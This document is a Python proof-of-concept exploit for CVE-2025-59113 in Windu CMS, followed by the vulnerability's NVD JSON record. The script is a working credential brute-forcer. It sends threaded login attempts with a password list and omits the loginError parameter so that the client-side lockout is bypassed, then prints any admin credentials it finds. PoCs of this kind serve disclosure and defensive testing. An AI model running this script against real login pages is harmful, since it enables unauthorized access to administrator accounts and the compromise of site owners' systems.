CVE-2025-59113

#!/usr/bin/env python3 # CVE-2025-59113 PoC - Windu CMS Brute Force Protection Bypass # This PoC demonstrates bypassing client-side brute force protection import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target.com/login" # Replace with actual target USERNAME = "admin" PASSWORD_FILE = "passwords.txt" # Common passwords list def try_login(password): """ Attempt login WITHOUT the loginError parameter This bypasses client-side brute force protection """ data = { 'login': USERNAME, 'password': password # loginError parameter is intentionally omitted to bypass protection } try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for successful login indicators if 'dashboard' in response.text.lower() or response.status_code == 302: print(f"[!] SUCCESS: Password found: {password}") return True, password else: print(f"[*] Failed: {password}") return False, None except requests.RequestException as e: print(f"[!] Error: {e}") return False, None def main(): print(f"[*] CVE-2025-59113 PoC - Windu CMS Brute Force Bypass") print(f"[*] Target: {TARGET_URL}") print(f"[*] Username: {USERNAME}") try: with open(PASSWORD_FILE, 'r') as f: passwords = [line.strip() for line in f] except FileNotFoundError: print(f"[!] Password file not found: {PASSWORD_FILE}") return print(f"[*] Loaded {len(passwords)} passwords, starting attack...") with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password = future.result() if success: print(f"\n[!] VULNERABLE: Brute force protection bypassed!") print(f"[!] Valid credentials: {USERNAME}:{password}") executor.shutdown(wait=False) for f in futures: f.cancel() break if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-59113", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:33.387", "lastModified": "2025-12-05T13:16:03.673", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windu CMS implements weak client-side brute-force protection by using parameter loginError. Information about attempt count or timeout is not stored on the server, which allows a malicious attacker to bypass this brute-force protection by resetting this parameter.\n\nOnly version 4.1 was tested and confirmed as vulnerable.\nThis issue was fixed in version 4.1 build 2250."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "614EBC19-889B-4FC0-8937-C52F415D4835"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-59110", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://windu.org", "source": "[email protected]", "tags": ["Product"]}]}}